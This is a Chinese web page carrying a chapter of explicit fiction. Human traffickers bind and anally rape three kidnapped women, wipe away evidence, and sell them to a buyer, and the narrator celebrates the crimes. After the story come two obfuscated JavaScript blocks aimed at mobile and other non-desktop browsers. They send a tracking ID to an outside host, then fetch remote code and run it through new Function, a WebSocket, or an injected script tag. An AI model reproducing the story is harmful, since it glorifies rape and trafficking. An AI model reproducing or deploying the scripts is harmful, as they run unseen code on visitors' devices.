图片载入中

何为肉货

特大字】 【大字】 【中字】 【小字

看了看时间,玩了好久,已经是深夜了。

我们还要干一件大事!

三个女人玩了这么多天,还有一个地方算是处女地,我们都还没有玩到的。那就是后庭,也就是女人的肛门。

肛交,我在A 片看过很多,不过真正的做,还没有过。看到五哥和和尚使眼色,我已经明白了。今天,还得给三个女人开发菊门。

蒋雪捆绑小腿大腿的身子没有解开,按照五哥的吩咐,就跪在地上,屁股压在自己的脚上。

李红和于兰,我和和尚一人一个,也想蒋雪那样,小腿大腿紧贴着捆绑起来。 三个女人捆绑好后,都跪在地上,我们同时一推,三人都趴到了地上。我给三个女人的小腹下都垫上了枕头,这样女人的屁股都高高地翘了起来。

我仔细看了看三个女人的菊门,都是浅褐色,比肛门旁边的嫩肉颜色略深,按照网上得来的知识,这说明三个女人的后庭都是没有开过苞的。给肉货开后门,就好像过去给肉货开苞,除非是特定用作雏妓的女人,这是人贩子都要干的活。也不知道是为什么,就好像是留下来的古老风俗。

按照我们这个人贩子组织的规矩,给女人开后庭要由五哥来指挥。五哥把早已准备好的肛门用电动阳具拿了出来。三个女人脸冲着地板,看不到我们要做什么,只是我们在她们的屁股上摸来摸去,更是不断地掰开女人屁股上两片肥肉,在肛门处不断触摸,让三个少妇本能地收缩肛门肌肉,身体也开始扭来扭去。不过,不管三女是否明白我们的衣服,她们这么趴着,被捆绑住了手脚,休想挣扎开。

五哥专门订购了用来玩弄女人肛道的电动阳具,这种阳具细细的如同只有一般人的食指粗细。一般人玩肛交前,都是用手指先插入,以此来活动开女人肛门的约括肌,这样才能方便自己阳具的插入。这种手指长的假阳具一节一节,越往后越粗,看着就像是连成了一串的珍珠。

我们没有用润滑油,这三个女人被我开发的越发淫荡,捆绑好后,光是摸屁股和性器,就已经流出了足够的淫水,尤其是蒋雪,从跳舞到现在,阴道内的淫水早就泛滥成灾了。淫水粘稠度始终,最适合代替润滑油,而且用起来更加的淫秽。

我和和尚依次掰开李红、于兰、蒋雪,三个女人的屁股嫩肉,五哥则用沾满了她们自己淫水的肛门用电动阳具,依次插入了三人的菊花门,深入到肛道伸出。说起来不算痛,可是三个女人呜呜呜的呻吟就想杀猪一般凄惨,现在没有经历过肛交,动充满了恐惧。

五哥再按动按钮,女人肛道内的电动阳具立刻转动起来,三个女趴在地上,更是疯狂地扭动起自己的美臀。

" 怎么样,这就是肛交,假阳具插进自己的后庭,爽到极点了吧,你看你们的屁股,一个个扭动的,想让我们插进来吧?别急,等你们的屁眼适应了这假阳具,我们就要用真的肉棒来狠狠操你的屁眼了!" 和尚看着三个女人伸不直双腿,只能跪在地上不住地扭屁股,性奋地说道。

看着地上扭来扭去的女人,五哥笑着说:" 不要小看这三根细细的肛道电动棒,虽然跟筷子一样细,可是通了电动起来比跳蛋还猛。这三个娘们可是要被玩得死去活来了!" 穿着白色吊带丝袜的蒋雪,穿着红色长筒丝袜的李红,穿着蓝色长筒丝袜的于兰,三个女人被捆成一团跪在地上撅着屁股,被电动阳具用力地蹂躏肛门,屁股对着我们不住地画着圆圈,嘴里更是呜呜呜地大声呻吟。我本来有些怜悯蒋雪,毕竟和李红还有于兰相比,她的肛门一次都没有性交过。可是听着销魂的呻吟,看着女人雪白的肉体颤抖,我的小弟弟硬邦邦的,可怜的心越来越小,心里火辣辣地,恨不得立刻操着几个女人的屁眼了!

五哥觉得差不多了,看到三个女人都精疲力竭地趴在地上,身体扭动的幅度都小了许多,便拔出了屁眼里的电动棒。

蒋雪是第一次被插肛门,电棒拔出时,肛道缩得紧紧的,电棒又是一节一节的圆柱体,每拔出一节少妇都要痛苦的哎唔一声。拔出了电动棒,蒋雪居然忍不住放了一个屁。五哥在蒋雪的美臀上拍了一巴掌,笑着说:" 这个骚货被电动棒爽过瘾了,连屁都放出来了!真臭!" 蒋雪羞红了脸,嘴里只能呜呜呜的叫着。 由于肛交,三个女人的性器都有了反应,阴道内流出了大量的淫水,五哥和和尚就用淫水涂抹在女人的肛门上,作为操她们菊花的润滑剂使。

五哥负责李红,和尚负责于兰,蒋雪便宜了我,算是对我这新人的照顾。五哥还不忘给我解释:" 女人的肛道不比阴道,产不出淫水来。所以没经常肛交的女人,肛道太狭窄,还是得用些润滑剂。这女人滑熘熘的淫水,就是最好的东西,女人自己喷出来的,对人体绝对无害,还没有油腻腻的感觉,最好用了!" 和尚也跟着附和:" 是啊,小七兄弟,你可得给蒋雪这个骚货多抹点。这娘们的后庭还没被开过,肯定狭窄,你若是硬生生地把肉棒插进去,干擦起来摩擦厉害,不但她疼,你的小弟弟也受不了,搞不好还要能出血的。这个娘们你可得爱惜点,万一把肛门操裂了,可不好啊!" 和尚言下之意,若是把肉货弄伤了,即使容易出手,价格上也要打折扣,他怕我没有经验,弄得大家少赚钱。我当然明白,点点头说:" 放心吧,两位大哥,我先把这娘们的菊花弄滑了,操起来自己也舒服嘛!" 学习五哥和和尚的动作,我把手指伸进蒋雪的阴户,沾满了淫水再涂抹在她的菊门上,为了润滑肛道,我还把淫水一点点灌进蒋雪的肛门,再插入手指来回滑弄几下。蒋雪的屁眼还没受过手指的侵袭,被插后拼命地扭动起自己的屁股,看着俏丽的美臀摇来摇去,我恶作剧地在她屁股上拍了两下:" 骚娘们,动静那么大,求我操你屁眼啊。这就爆了你的菊花!" 完成了预备工作,我双手抱住蒋雪的美臀,让她继续跪在地上,头低着,上身下垂几乎要贴在地板上。捆成一团的蒋雪,双腿仍是小腿紧贴大腿束缚,上身低下后,自然的屁股就高高翘着,屁股正对着我的下体。白色丝袜包裹的美腿捆住弯曲后,富有弹性的双腿更是在我的两腿间夹住不停地蠕动。

蒋雪的娇躯在我的身体上产生了快感,让我的肉棒硬直到了极限,就要插入这少妇的后庭了!蒋雪似乎也预感了肛奸凌辱,身体扭动得更加剧烈的,当然这是没用的,被捆得像个粽子,屁股还被我抓着,一切都是徒劳。

我仔细地举起自己的肉棒,对准了蒋雪的屁眼。我也是第一次肛交,心里不由得抱怨,五哥和和尚也太看得起我了,第一次肛交,就分给我一个雏货。其实,我也明白是五哥和和尚照顾我的,可是若让我选择,我更愿意选择李红。这个骚娘们,被和尚玩得次数多了,尤其是屁眼操得多了,已经扩张了不少,听和尚说,连续几天肛奸,李红的屁眼比起于兰的要松弛不少,轻轻松松就能插进去三根手指,也不知道是因为年纪长了几岁,还是李红天生肛门宽,或者真是被和尚给插大了。反正,我觉得对我这种初哥来说,还是李红这种熟了的菊花,比较适合我。 看看五哥和和尚,两人的肉棒,一个插进李红的后庭,一个插进了于兰的屁眼,两个女人都被插得呜呜呜大叫起来。于兰更是痛苦不已,冷汗眼泪都下来了! 我也不能再等了,人总有第一次的。我深吸一口气,把自己的龟头贴在了蒋雪的菊门上。被我的龟头一触,蒋雪呜呜呜大叫起来,明白自己就要被肛奸了! 我本想学着五哥他们那样一插到底,可是想想还是不敢,只好慢慢地把自己的肉棒挤进蒋雪紧缩的菊花穴。好在有了淫水的润滑,更加上我的肉棒确实够硬,我慢慢用力,让自己的肉棒一点点插进了蒋雪的肛道。果然狭窄无比,我的肉棒被肛门肌肉紧紧裹住,推进中受到了不小的阻力。

蒋雪的肛门嫩肉紧紧夹住我的肉棒,嫩肉与肉棒不住地摩擦着,就像是操一个更小号的阴户。我感到刺激非常,蒋雪似乎是感到了肛裂般的痛楚,呜呜呜地哀嚎着,好像是向我求饶,又好像是痛苦的呻吟。

五哥笑着说:" 这骚货,被小七兄弟插的很爽了,浪叫成了这个样子。" 我看不清趴着的蒋雪的俏脸表情,听了五哥的话,再听蒋雪的哀嚎,却感觉真的好像有那种性交时快感的浪叫。管她什么痛苦不痛苦,只要我爽不就行了,我努力让自己硬下心肠,将肉棒刺入蒋雪的肛道深处。

太窄了,我的小弟弟慢慢地插入蒋雪的肛道,丝毫不敢加大力,就像是趟过一条没有走过的小河,不知道深浅的我谨慎到了极点。难怪性交的最高境界是肛交,肛奸少妇的后庭,玩的就是那破处一般的紧缩。让自己的鸡鸡感受女人最狭小的空间,我觉得这不但是破处,更有操幼女嫩穴的感觉了。

但是,此时的蒋雪恐怕是感受不到快感了,肛道内肉棒插入,最大的还是疼痛感,毕竟这女人的屁眼是没有开发的处女地。即使有快感,疼痛再加羞耻,估计她也享受不到了,即使享受到,被奸淫时也说不出来啊!

一插到底后,我把自己的肉棒向外抽,被蒋雪的肛门嫩肉紧紧夹着,我的肉棒本能地更加膨胀,到了极点再膨胀,终于忍耐不住,在我抽到一半时,我的肉棒射了。虽然我一直努力克制,希望自己久一点,但是还是忍耐不住,一回合不到就射精了。

不过我的肉棒没有软下来,反而是更加的挺拔。抽到一定位置,我再次发力,肉棒向内插。这回有了精液的润滑,肛道内就滑熘多了,我轻松的插入深处,开始往复地活塞运动。

肛奸的快感让人惊奇,我很快又射精了,但是肉棒丝毫没有软下来的趋势,仍在挺拔着,眷恋着蒋雪的处女肛门。蒋雪只是呜呜呜地呻吟着,屁股仍在扭来扭去,但是我的抽插没有停止,反而是随着精液的积聚,肛道内阻力的降低,活塞运动更加猛烈。

看看五哥和和尚,他们身下的女人和蒋雪一样,被插的不知是痛苦还是快感,浪叫连连。而五哥和和尚,熟悉了肛交的乐趣,丝毫不用理会身下的女人,始终是用力地抽插着。被捆绑住的女人,就是肉货,在我们人贩子眼中,就是用来操的玩具。

蒋雪已经香汗淋漓,裸露的后背上泛出一层细密的汗珠,灯光下发出晶莹的亮光。在我的肛奸下,这个少妇只能呜呜呜地呻吟,被紧缚的娇躯只能做我的性爱的肉体玩具。

不知射了多少次,我的小弟弟终于弹尽,软了下来。五哥和和尚也先后停战,拔出了自己的阳具。我们三人喘着粗气,坐在地上。三个被我们肛奸的女人,身体似乎已经麻木失去了知觉,仍保持着跪地翘臀的姿势,三人的屁眼处都流出了粘稠的精液。红肿起来的菊花蕾,代表着我们对女人后庭的征服!

" 今天送货!" 天还没亮,五哥就把我和和尚叫醒了,在院子里,小声告诉我们。原来联系的买家连夜赶过来了,约好了午后接货。

回到屋里,由我来对三个女人说,我们拿到了赎金,要离开这个城市去外地避避风头。今天就会放了她们,但要她们听话,我会把她们塞进麻袋交给她们的家人,给她们自由。

一听到自由,三个女人也不顾得真假了,同时点头表示顺从。我心里暗叹,女人到了紧要关头就成了笨蛋,也不想想,其实我提到把她们捆绑打包才送出去,就是个很大的漏洞啊!

闲话休提,三个女人很听话地让我为她们洗干净了身体,洗浴时,我只是简单捆绑她们的双手和用丝袜堵了嘴,她们也不再反抗,即使是我对她们的乳房和下体又揉又摸,也很顺从地忍受了。

洗干净了身体,我给她们一人一条连体丝袜,这是五哥网购的,他绑的肉货,最后都是穿着这种包裹全身的连体丝袜被捆绑打包的。

连体丝袜是长袖设计,上身就像紧身衣,下身就是裤袜,连在一体将女人的手脚全身都用丝袜包裹。肉货穿着这种连体丝袜,身体被包裹住,容易捆绑,看着也性感。

三个女人的嘴已经被我一人塞进一条肉色的连裤丝袜,然后戴上了塞口球,还是老样子,李红是红色口球,于兰是浅蓝色口球,蒋雪则是白色的。三人式中都被剥夺了说话的权力。看到了连体丝袜,三人只是呜呜呜的摇头,显然穿着这个出去,太羞人了!

五哥和和尚出去收蒋雪的赎金了。我也懒得解释,直接说:" 要么穿上连体袜,捆好打包,就把你们送回去,要是不愿意,也好办,捆好后,跟着我们去外地,我们兄弟几个拿她当性奴玩!" 这话果然好使,三个女人,不敢再拒绝,老老实实地穿上了连体丝袜,李红是一条红色的,于兰是蓝色的,蒋雪自然是白色的连体丝袜。

穿好后,我用白色的棉绳将三个女人捆绑成驷马倒躜蹄,手脚束缚在身后,小腿紧贴着大腿,三个女人又成了看不出手脚的肉段,规规矩矩地趴在地上。只能呜呜呜地呻吟。捆成一团的女人,没有反抗能力,我接着给她们的小穴里,隔着裤袜塞进了一条塑胶假阳具,虽然三人都呜呜呜的抗议,当然是没有的,隔着丝袜塞入后,我看着三女的娇羞表情心里偷乐。三人肯定奇怪,为什么要放她们走了,还给她们的阴户里塞阳具。我没有停下,接着用尿道栓和肛门栓堵住了三人的尿液和屁眼,这东西其实就是粗细适中的塑胶棒,隔着裤袜塞入后,女人用自己的力量是无法排除尿道栓和肛门栓,这也是为了卫生,省的一会女人大小便失禁了。肉货的下面三个洞被堵好后,我为她们穿着了金黄色的紧身乳胶质三角内裤,三角裤的两侧带有暗锁,又可以被称为贞操带,穿上了这种贞操带式三角裤,三个肉货的下体就算是被封锁了!

五哥和和尚到了中午时回来,看到他们的表情,我就知道得手了。

三个迷彩布的大旅行背包,将李红、于兰、蒋雪三人装了进去。看着地上的三个装了美女的旅行包,我心里无限的惋惜,还没玩够就要送人了,真是可惜啊! 五哥似乎看出了我的想法,小声笑着说:" 兄弟,舍不得了?呵呵,第一次都是这样,好女人多的是。送走这几个,为的是玩新的嘛!大不了,下次搞到了肉货,我通知你,过来玩玩就是!" 和尚这时已经把我们住的房间清理干净,别看平时他大大咧咧,可是办事确实谨慎,作为老手,五哥和和尚都有着丰富的反侦察经验。临走时,和尚将所有可能留下线索的东西集中到了一起,能销毁的销毁,剩下的在我们离开的路上,找了没人的地方给烧掉了。房间内,所有的家具和门把手等,都用清洁液擦过,保证不留下指纹等线索。

收拾妥当,我们三人,一人背了一个装肉棒的背包离开上车。

一路很顺利,我们到了城外的一个联络地点。五哥联系的老金已经到了,等了我们好久。

打开商务车的后车门,老金迫不及待地上了车。打开背包,三个女人的俏脸露出来。我们把背包立了起来,这个,包里的三个女人因为驷马倒躜蹄捆绑着,就跪在了包里。包口向下拉拉,三个女人被捆缚后更加挺拔的乳房也可以看到了。 看到直吞口水的老金,三女人立刻感到了不安。还自己自由,为何还会出现一个色迷迷的老头。我看到三人疑惑的眼神,立刻猜到了她们心里所想,不由得产生了一种欺骗成功的快感。

五哥把三个女人的身份证交给了老金:" 看看,都是地地道道的城里娘们,这种摩登女郎,够得上我开的价钱了吧!" 三个装在包里的女人立刻清楚自己要被卖了,同时呜呜呜地呻吟起来,可是身体再扭,捆得那么紧,什么用也没有。 老金先是捏住李红的俏脸自己看看,有抓住于兰的乳房试试手感,又把手伸进装蒋雪的旅行包内摸摸腰,又捏了捏她的美臀。

五哥继续解释:" 这个穿着红色连体袜的,叫李红,是个小学老师,还是个浪货,保证玩起来爽!" 说着,五哥抬起李红的头,让老金仔细看看。李红恐惧地瞪大了眼睛,瑟瑟发抖。接着五哥有抬起于兰的头,给老金介绍:" 这个叫于兰,是个文员,现在市场上最抢手的不就是这种OL女郎嘛?看看这奶子,她可是刚生过孩子,我们玩了一个多礼拜,奶水挺足。也是个奶娘了!" 于兰吓得眼泪都出来了,只是摇着头呜呜呜的大叫。老金满意地点点头,又开始端详起蒋雪来。蒋雪同样是吓得瑟瑟发抖,知道自己落到了人贩子手里,还不知道要被卖到什么地方去。眼泪唰唰地流了下来,嘴里不住地呜呜呜呻吟。

五哥最得意的就是这个肉货,特地把蒋雪从包里抱了出来,任由老金在蒋雪的蛮腰和乳房上摸来摸去:" 金老板,这个肉货可算是极品了,这个叫蒋雪,可是小有名气的舞蹈演员,我们让她光着身子跳舞,那身段,可是差点把我鼻血给喷出来。看看,这腰,这屁股,这阴户鼓鼓的,保证是抢手货!" 老金隔着金黄色贞操带按了按蒋雪丰满的阴户,蒋雪的下体被插的满满的,立刻有了反应,大声浪叫起来。我心里暗想,幸亏给堵住了下面的小洞,要不然可要小便失禁,弄脏了这车了!

" 这贞操带要不要打开,然我验验货!" 老金沉醉中,说话都猥亵了许多。 我们其实知道不安全,万一来了人就麻烦了,看到老金色成这个急样,五哥就解释说:" 金老板,您也是老客户了,还不信任我们兄弟几个?之前照片发过去,下面光秃秃地,剃掉阴毛后,连个疙瘩都没有,现在还要打开检查吗?" 说着,五哥在蒋雪贞操带拘束的胯部拍了一下:" 您尽管放心,这三个肉货的下体,保证和您看到的照片一模一样。我们都是老手了,干这么几个肉货,还能给干坏了嘛?" 五哥这一拍,刺激得蒋雪大声呻吟一下,全身都抽搐起来。老金也觉得在这里虽是郊外,但是遇到了人也麻烦不小,就客气道:" 您五哥的声誉,那能有假么?是我废话了,好好好,就这么定了。" 接着五哥和老金到车外谈价钱,五哥之前要求的,价格加三成,因为这次绑来的三个女人,确实是不可多得的精品。到了女奴市场,肯定会买上好价钱的!

我和和尚忙着把三个女人重新打包。这回要把女人送上船,据说是为了防止女人认得路线,五哥再三叮嘱要把女人包严实。其实也简单。我负责于兰,和尚负责李红,我们给她们戴上了橡胶耳塞,五哥买来的这耳塞很不错,堵上后,除非大声在耳边喊话,否则听不到任何声音。堵上了耳朵,接着就用一条黑色的长筒丝袜套在女人的头上,这黑色长筒丝袜400D厚度,算是比较厚的一款,据说女人穿着可以防止静脉曲张,能瘦腿美体,价格不菲。五哥买来试过,这长筒袜用了氨纶等混合后的特殊材料,套在头上,完全不透光,套在女人的头上,保证她们看不到任何东西。

于兰眼泪汪汪地看着我,似乎在乞求,我只能叹口气:" 认命吧,我们也是为了求财。" 说着,我把黑色长筒丝袜套在了于兰的头上,丝袜很紧,牢牢地包住了于兰的头。

李红和于兰被丝袜套头后,让我们重新装进包里。仅剩的蒋雪恐惧地看着我们,也是眼泪汪汪。和尚摸着她白色连体丝袜包裹的美体,遗憾地说:" 哎,昨夜在李红那骚娘们身上消耗太厉害,在蒋雪的屁眼里射了一炮就没子弹了。真是可惜啊,以后操不到你这个骚货了!" 和尚说着还不忘隔着贞操带蹂躏一下蒋雪的下体,引得蒋雪浪叫连连。唏嘘一番,我和和尚快速地堵好蒋雪的耳朵,又用黑色长筒袜套住她的头,这样只能听到被包住头的蒋雪呜呜呜呻吟,看不到她楚楚可怜的娇羞模样了。打开背包,蒋雪接着被我们重新装入了行李包。

看到五哥笑容满面的回来,我俩知道价格谈得很顺利。很快,老金的密封式小货车开了过来,他的几个手下带走了捆绑在包里的李红、于兰,还有蒋雪。 当天夜里,我们就到了200 公里外的一个小县城。

3 天后,在济南,我们三人分好了钱,各自离开。和尚去了东北,准备看看那里的环境。东北地方大,东北娘们也是出了名的浪。后来听说和尚在那里干了好几票买卖,弄了不少东北胸大臀圆的熟女,业内俗称东北大娘们,这种大娘们比起南方娇小可人的骨干美女,更经操,玩起来更来劲,在海外很有市场。 五哥和我一起回了老家,准备在老家休息几个月。

一个月后,我回到学校,开始着手写我的毕业论文。后来就再也没有见五哥。 后记:

和尚去了东北,做了几次大买卖后,名气大增。不少性感的东北熟女经过和尚的手,被贩卖到了海外,成为国际女奴市场抢手的货物。

和尚的贩卖记录也引起了公安机关的注意,东北的妇女失踪事件越闹越大,直到数名女警被绑架失踪后,公安机关开始动用一切手段,不惜一切代价追捕和尚为首的人贩集团。和尚的同行不断落网,我运用自己的关系网一直关注此事,后来得知,和尚逃到了俄罗斯,和俄罗斯的黑帮搭上了线,最终算是摆脱了追捕。不过,在中国北方地区,仍然间隔着有妇女被绑架后失踪的案件发生。虽然相关部门三缄其口,但我相信,这是和尚重新干起来的" 跨国贸易".我的论文写得相当成功,为我带了名誉和地位,SIS 等大学甚至将我的相关犯罪心理学专业论文,

用作专业教材。

五哥后来偶尔回到家乡短住,但我俩一直没有再见面。我失去了五哥的一切消息。我知道,五哥是为了保护我,毕竟,我若是和人贩子有了关系,对我的事业是致命的打击,甚至会失去一切,包括自由。

虽然没有了联系,但是五哥仍是传奇人物。他没有被抓,也没有任何出现在公共媒体上的消息,他这个人就像是消失了一般。

不过,偶尔我会听到一些妇女被绑架后失踪的消息,各地都有,我第一想到的,就是" 五哥又开工了".我真的希望,可以和五哥联手,再绑一次肉货!


上一篇:迷煳的莉琪-蒙眼凌辱篇

下一篇:失效的催眠术?


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};